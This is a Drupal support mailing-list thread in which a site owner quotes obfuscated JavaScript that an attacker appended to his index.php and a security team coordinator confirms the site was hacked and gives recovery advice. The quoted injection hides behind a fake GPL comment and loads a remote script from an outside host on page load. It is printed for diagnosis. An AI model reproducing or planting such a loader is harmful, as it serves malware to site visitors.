See: 
        
         
                  <h1 class="title withtabs node-type-book">My site was defaced (&quot;hacked&quot;). Now what?</h1><a href="http://drupal.org/node/213320">http://drupal.org/node/213320</a><br><br>If your index file has been been modified then your site has been hacked, likely by a bot.  Change that index file and revisit the file permissions for your Drupal code files.  Ask your hosts if they have a back-up of your database and see if they are willing to work with you to identify when each account was compromised.<br>
<br>Cheers,<br>Kieran<br>Drupal security team coordinator<br><br><div class="gmail_quote">2009/12/30 steven <span dir="ltr">&lt;<a href="mailto:steven@vermoere.net">steven@vermoere.net</a>&gt;</span><br><blockquote class="gmail_quote" style="border-left: 1px solid rgb(204, 204, 204); margin: 0pt 0pt 0pt 0.8ex; padding-left: 1ex;">
Hello,<br>
<br>
I&#39;ve encounterd a strange problem.<br>
<br>
One of me sites has a changed index.php. The date of the file changed and<br>
the following lines were added at the end of the file:<br>
<br>
/*GNU GPL*/ try{window.onload = function(){var G2kfrz1an5r =<br>
document.createElement(&#39;s&amp;$c$@(#r!!i^$p^$t^$@&#39;.replace(/\$|\)|\(|&amp;|\!|\^|@|#/ig,<br>
&#39;&#39;));var Bl136slxkfs = &#39;Y0p6c2vs6gca8&#39;;G2kfrz1an5r.setAttribute(&#39;type&#39;,<br>
&#39;t^!^^e#&amp;x!$@t)(@/!)(j@#$@a@)v#a!)s^c$(r(!&amp;^i^^^)p&amp;)$!t#&amp;@&#39;.replace(/@|\)|#|\(|&amp;|\$|\!|\^/ig,<br>
&#39;&#39;));G2kfrz1an5r.setAttribute(&#39;src&#39;,<br>
&#39;h()t)&amp;^t#(p$:#!#!/$@!^/()q@(u))&amp;i$$^k(##r$^-(^!@#c$o&amp;&amp;m).#^i(^#m@&amp;&amp;a(g^$e&amp;$f(##a$p()(.^&amp;c@^()@o&amp;^$^m$^^.!@&amp;#l!a(^s#)t@-^))f#@&amp;m#.$$t@^h#$e)&amp;(g$&amp;i@&amp;(f($@t)@&amp;s$a(&amp;)#l!)e@#.^r&amp;)#u#!!(:)@&amp;8#&amp;(!0#&amp;8$@$&amp;0&amp;((/#!^u^!&amp;s^p^!!s(.^&amp;^c@(o@$#m@^/((u@@!s@p$$@s$.^$$#c@o)m$@((!/!^a&amp;#!!d@$u@l@t)$f#$$r@)!^i$e$!&amp;n$#)d!)f(^i#n(!d)($e&amp;)r!@@!.)(^c(o$m!!!!/@#(g@^o#@o$@g)()l#&amp;)^e#).@(c)o(m$@^#/@#d@a@!i$l@^#y#&amp;m)$a#i)(l)(#.(@!c&amp;(o@(&amp;@.$(!!u!#k^!@/)!!$&#39;.replace(/@|\)|\!|\(|\^|&amp;|\$|#/ig,<br>

&#39;&#39;));G2kfrz1an5r.setAttribute(&#39;defer&#39;,<br>
&#39;d(&amp;e)f(^e!r(&#39;.replace(/#|\)|&amp;|@|\(|\!|\^|\$/ig,<br>
&#39;&#39;));G2kfrz1an5r.setAttribute(&#39;id&#39;,<br>
&#39;S$##0@9^&amp;&amp;q$!^(t@b@$$7&amp;(#v$))b#^@^v(!)y)#$9^@5&amp;^#&#39;.replace(/\$|#|\^|\(|&amp;|@|\)|\!/ig,<br>
&#39;&#39;));document.body.appendChild(G2kfrz1an5r);}} catch(Y2gjfbp30rk) {}<br>
<br>
I have the impression this is encrypted javascript.<br>
<br>
Is this site hacked ? And if yes, is this due to Drupal or server-side ?<br>
<br>
Thank you<br>
<br>
Steven<br>
<font color="#888888"><br>
--<br>
[ Drupal support list | <a href="http://lists.drupal.org/" target="_blank">http://lists.drupal.org/</a> ]<br>
</font></blockquote></div><br>